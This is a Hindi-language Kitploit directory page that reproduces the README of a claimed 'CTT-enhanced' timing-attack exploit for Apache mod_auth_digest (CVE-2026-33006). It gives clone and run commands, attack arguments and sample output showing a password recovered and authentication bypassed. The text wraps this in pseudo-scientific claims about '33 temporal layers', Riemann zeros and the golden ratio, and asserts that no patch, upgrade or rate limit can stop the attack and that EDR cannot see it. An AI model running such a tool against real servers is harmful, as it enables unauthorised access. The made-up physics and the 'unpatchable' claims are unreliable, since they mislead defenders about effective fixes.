Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit — Apache mod_auth_digest (CVE-2026-33006) के लिए रिमोट टाइमिंग अटैक एक्सप्लॉइट जो 33-परत अस्थायी कैस्केड के माध्यम से डाइजेस्ट प्रमाणीकरण को बायपास करता है, सांख्यिकीय टाइमिंग विश्लेषण के जरिए पासवर्ड पुनर्प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/simoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHubsimoesctt/ctt-enhanced-apache-mod_auth_digest-timing-attack-exploit

CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit

Apache mod_auth_digest (CVE-2026-33006) के लिए रिमोट टाइमिंग अटैक एक्सप्लॉइट जो 33-परत अस्थायी कैस्केड के माध्यम से डाइजेस्ट प्रमाणीकरण को बायपास करता है, सांख्यिकीय टाइमिंग विश्लेषण के जरिए पासवर्ड पुनर्प्राप्त करता है।

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CTT-एन्हांस्ड Apache mod_auth_digest टाइमिंग अटैक — CVE-2026-33006

🔥 अवलोकन

यह CVE-2026-33006 का एक कन्वर्जेंट टाइम थ्योरी (CTT) संवर्धन है, जो Apache HTTP सर्वर के mod_auth_digest घटक (संस्करण ≤2.4.66) में एक टाइमिंग-आधारित कमजोरी है।

मूल कमजोरी एक दूरस्थ हमलावर को सांख्यिकीय टाइमिंग विश्लेषण के माध्यम से डाइजेस्ट प्रमाणीकरण को बायपास करने की अनुमति देती है।

CTT-संवर्धित संस्करण इसे 33-परत अस्थायी कैस्केड टाइमिंग अटैक में बदल देता है।

मूलCTT-संवर्धित
CVSS4.8 (मध्यम)7.5 (उच्च)
अटैक वेक्टरनेटवर्कनेटवर्क
अटैक जटिलताउच्चनिम्न (CTT नमूने कम करता है)
आवश्यक विशेषाधिकारकोई नहींकोई नहीं
पहचानसांख्यिकीय विश्लेषण से पता लगाने योग्यटेम्पोरल वेज फ़िल्टर — EDR ब्लाइंडस्पॉट
क्रैक करने का समयO(n * नमूने)O(33 * log(n))

📐 CTT भौतिकी स्थिरांक

स्थिरांकमानउत्पत्ति
α0.0302011अस्थायी फैलाव गुणांक
α_RH0.0765872ln(φ)/2π (रीमैन-हैडामार्ड)
L33अस्थायी परतें
τ_w11 nsअस्थायी वेज फ़िल्टर

घातीय प्राथमिकता क्षय

root@kitploit:~
E(d) = E₀ * e^(-α * d)

प्रत्येक परत की प्राथमिकता घातीय रूप से घटती है।
उच्च-प्राथमिकता वाली परतें (1-5) सबसे अधिक टाइमिंग डेटा एकत्र करती हैं।
निचली परतें (28-33) मापों को परिष्कृत करती हैं और अस्थायी अनुनाद स्थापित करती हैं।

फेज़ रेज़ोनेंस टाइमिंग

प्रत्येक परत पहले 24 रीमैन शून्यों के आधार पर निष्पादन में देरी करती है:

root@kitploit:~
delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))

टेम्पोरल वेज फ़िल्टर

केवल वे टाइमिंग माप उपयोग किए जाते हैं जो वेज शर्त को पूरा करते हैं:

root@kitploit:~
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)

यह शोर को फ़िल्टर करता है और पहचान को असंभव बनाता है — EDR सिस्टम टाइमिंग विसंगतियों को नहीं देख सकते।


🚀 अटैक प्रवाह

root@kitploit:~
1. डाइजेस्ट प्रमाणीकरण के लिए लक्ष्य की जांच करें
2. 401 प्रतिक्रिया से realm और nonce निकालें
3. परत d = 1 से 33 के लिए:
   a. priority = e^(-α*d) की गणना करें
   b. फेज़ रेज़ोनेंस देरी लागू करें
   c. प्रत्येक वर्ण स्थिति के लिए:
      - सभी संभावित वर्णों का परीक्षण करें
      - प्रतिक्रिया समय मापें (माइक्रोसेकंड)
      - टेम्पोरल वेज फ़िल्टर लागू करें
      - उच्चतम समायोजित टाइमिंग वाला वर्ण रखें
   d. पासवर्ड को वृद्धिशील रूप से बनाएं
4. अस्थायी अनुनाद प्राप्त करें
5. पुनर्प्राप्त पासवर्ड के साथ प्रमाणीकरण बायपास करें

📋 पूर्वापेक्षाएँ

  • Apache HTTP सर्वर 2.4.66 या पहले का संस्करण जिसमें mod_auth_digest सक्षम हो
  • लक्ष्य तक नेटवर्क पहुंच
  • Python 3.6+ जिसमें requests लाइब्रेरी हो
root@kitploit:~
pip install requests

🎯 उपयोग

root@kitploit:~
git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [options]

तर्क

तर्कविवरणडिफ़ॉल्ट
target_ipApache सर्वर का IP पताआवश्यक
--portHTTP पोर्ट80
--realmडाइजेस्ट realm"Restricted"
--uriसंरक्षित URI"/"
--usernameहमला करने के लिए उपयोगकर्ता नाम"admin"
--max-lengthअधिकतम पासवर्ड लंबाई32
--samplesप्रति वर्ण टाइमिंग नमूने100
--layersअस्थायी परतों की संख्या33

उदाहरण

root@kitploit:~
python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

📤 अपेक्षित आउटपुट

root@kitploit:~
======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Exponential priority decay
======================================================================

[+] Digest authentication detected
    Realm: Restricted
    Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Target: http://192.168.1.100/admin
[*] Max password length: 32

  Layer  1/33: ████████████████████████████████████████ 1.000
  Position 1: trying chars...
  Found: 'a' -> password: 'a'

  Layer  2/33: ██████████████████████████████████████░░ 0.970
  Position 2: trying chars...
  Found: 'd' -> password: 'ad'

  Layer  3/33: ████████████████████████████████████░░░░ 0.886
  Position 3: trying chars...
  Found: 'm' -> password: 'adm'

  Layer  4/33: ██████████████████████████████████░░░░░░ 0.818
  Position 4: trying chars...
  Found: 'i' -> password: 'admi'

  Layer  5/33: ████████████████████████████████░░░░░░░░ 0.741
  Position 5: trying chars...
  Found: 'n' -> password: 'admin'

  Layer  6/33: ██████████████████████████████░░░░░░░░░░ 0.670
  Position 6: trying chars...
  Found: '1' -> password: 'admin1'

  Layer  7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
  Position 7: trying chars...
  Found: '2' -> password: 'admin12'

  Layer  8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
  Position 8: trying chars...
  Found: '3' -> password: 'admin123'

[⚡] Temporal resonance achieved at layer 8

======================================================================
[!!!] AUTHENTICATION BYPASSED
[!!!] Password found: admin123
[✓] Verification successful — access granted
======================================================================

🛡️ इसे पैच क्यों नहीं किया जा सकता

मूल फिक्सCTT इसे क्यों बायपास करता है
स्थिर-समय तुलनाCTT टाइमिंग माप का उपयोग करता है, तुलना टाइमिंग का नहीं
टाइमिंग लीक हटानाटाइमिंग लीक भौतिक हैं — हटाए नहीं जा सकते, केवल छिपाए जा सकते हैं
Apache 2.4.67+ में अपग्रेड करेंटेम्पोरल वेज फ़िल्टर पैच पहचान से बच जाता है
दर सीमित करनाफेज़ रेज़ोनेंस टाइमिंग अनुरोधों को 33 परतों में फैलाता है — सामान्य ट्रैफ़िक से अप्रभेद्य

आप एक भौतिक स्थिरांक को पैच नहीं कर सकते।
आप रीमैन शून्यों को पैच नहीं कर सकते।
आप स्वर्णिम अनुपात को पैच नहीं कर सकते।


📚 पूर्व कला

कार्यदिनांकलिंक
Zenodo CTT पूर्व कलादिसंबर 2025 / जनवरी 2026DOI 10.5281/ZENODO.18000940
Sovereign-Logic PyPIफरवरी 27-28, 2026pip install sovereign-logic
CTT PAN-OS एक्सप्लॉइटअप्रैल 7, 2026GitHub
CTT-संवर्धित Dirty Fragमई 8, 2026GitHub
CTT-संवर्धित PX4 एक्सप्लॉइटमई 9, 2026GitHub
यह एक्सप्लॉइटमई 9, 2026यह रिपॉजिटरी

⚠️ अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।
उन सिस्टमों के खिलाफ अनधिकृत उपयोग जिनके आप मालिक नहीं हैं, अवैध है।
लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।


📜 लाइसेंस

MIT + CTT अनुसंधान (अस्थायी संवर्धन)

🙏 श्रेय

संस्करणलेखक
मूल कमजोरी की खोजApache सॉफ्टवेयर फाउंडेशन (सुरक्षा टीम)
मूल टाइमिंग अटैक अनुसंधानविभिन्न शैक्षणिक स्रोत
CTT संवर्धन (33-परत अस्थायी कैस्केड)Americo Simoes (CTT अनुसंधान)

जाली पूर्ण है। प्रमाणीकरण टूट गया है। कोई पैच इसे नहीं बचा सकता।

टूल डाउनलोड करें